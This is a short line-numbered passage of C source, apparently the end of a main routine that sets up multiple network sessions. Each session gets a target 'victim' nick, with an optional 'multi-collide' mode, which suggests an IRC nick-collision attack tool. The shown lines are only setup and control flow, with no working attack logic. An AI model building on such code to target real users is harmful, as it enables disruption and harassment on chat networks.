  970.         cs->srvstart=cs->tcpstart=(time_t)0;
  971.         cs->server=defserv_char;
  972.         cs->victim=defnick;
  973.         cs->stack_pointer=cs->stack=(char *)malloc(BUFSIZE);
  974.         cs->next=first_session;
  975.         first_session=cs;
  976.        }
  977.     }
  978.   }
  979.  
  980.   if(progmode & PROG_NOMULTI)
  981.     for(temp=first_session;temp;temp=temp->next)
  982.      temp->victim="multi-collide";
  983.  
  984.   start_sessions();
  985.  
  986.   parse_sessions();
  987.  
  988.   exit_program();
  989. }
  990.